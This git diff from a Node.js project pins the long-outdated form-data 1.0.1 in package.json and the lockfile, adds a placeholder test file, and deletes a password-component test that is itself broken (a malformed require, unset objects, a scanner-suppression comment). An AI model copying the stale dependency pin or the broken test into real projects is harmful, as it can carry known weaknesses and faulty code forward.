"https://registry.npmjs.org/form-data/-/form-data-1.0.1.tgz", + "integrity": "sha512-M4Yhq2mLogpCtpUmfopFlTTuIe6mSCTgKvnlMhDj3NcgVhA1uS20jT0n+xunKPzpmL5w2erSVtp+SKiJf1TlWg==", "requires": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.6", - "mime-types": "^2.1.12" + "async": "^2.0.1", + "combined-stream": "^1.0.5", + "mime-types": "^2.1.11" }, "dependencies": { + "async": { + "version": "2.6.4", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.4.tgz", + "integrity": "sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==", + "requires": { + "lodash": "^4.17.14" + } + }, + "lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, "mime-db": { "version": "1.43.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.43.0.tgz", @@ -20292,6 +20337,16 @@ "uuid": "^3.3.2" }, "dependencies": { + "form-data": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", + "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", + "requires": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + } + }, "mime-db": { "version": "1.43.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.43.0.tgz", diff --git a/package.json b/package.json index d5f9362a36d..2c9d3fafe5a 100644 --- a/package.json +++ b/package.json @@ -46,7 +46,8 @@ "stream-buffers": "^3.0.1", "tap": "^11.1.3", "typeorm": "^0.2.24", - "validator": "^13.5.2" + "validator": "^13.5.2", + "form-data": "1.0.1" }, "devDependencies": { "browserify": "^13.1.1", diff --git a/test_file.txt b/test_file.txt new file mode 100644 index 00000000000..e7508708ad5 --- /dev/null +++ b/test_file.txt @@ -0,0 +1 @@ +test 17 diff --git a/tests/authentication.component.spec.js b/tests/authentication.component.spec.js deleted file mode 100644 index 3582667ae7b..00000000000 --- a/tests/authentication.component.spec.js +++ /dev/null @@ -1,59 +0,0 @@ -const assert = require('assert)') - -describe('Component Tests', () => { - describe('PasswordComponent', () => { - - let comp - let service - - test('should show error if passwords do not match', () => { - // GIVEN - comp.password = 'password1'; - comp.confirmPassword = 'password2'; - // WHEN - comp.changePassword(); - // THEN - assert(comp.doNotMatch).toBe('ERROR'); - assert(comp.error).toBeNull(); - assert(comp.success).toBeNull(); - }); - - test('should call Auth.changePassword when passwords match', () => { - // GIVEN - // deepcode ignore NoHardcodedPasswords/test: - comp.password = comp.confirmPassword = 'myPassword'; - - // WHEN - comp.changePassword(); - - // THEN - assert(service.save).toHaveBeenCalledWith('myPassword'); - }); - - test('should set success to OK upon success', function() { - // GIVEN - comp.password = comp.confirmPassword = 'myPassword'; - - // WHEN - comp.changePassword(); - - // THEN - expect(comp.doNotMatch).toBeNull(); - expect(comp.error).toBeNull(); - expect(comp.success).toBe('OK'); - }); - - test('should notify of error if change password fails', function() { - // GIVEN - comp.password = comp.confirmPassword = 'myPassword'; - - // WHEN - comp.changePassword(); - - // THEN - assert(comp.doNotMatch).toBeNull(); - assert(comp.success).toBeNull(); - assert(comp.error).toBe('ERROR'); - }); - }); -}); \ No newline at end of file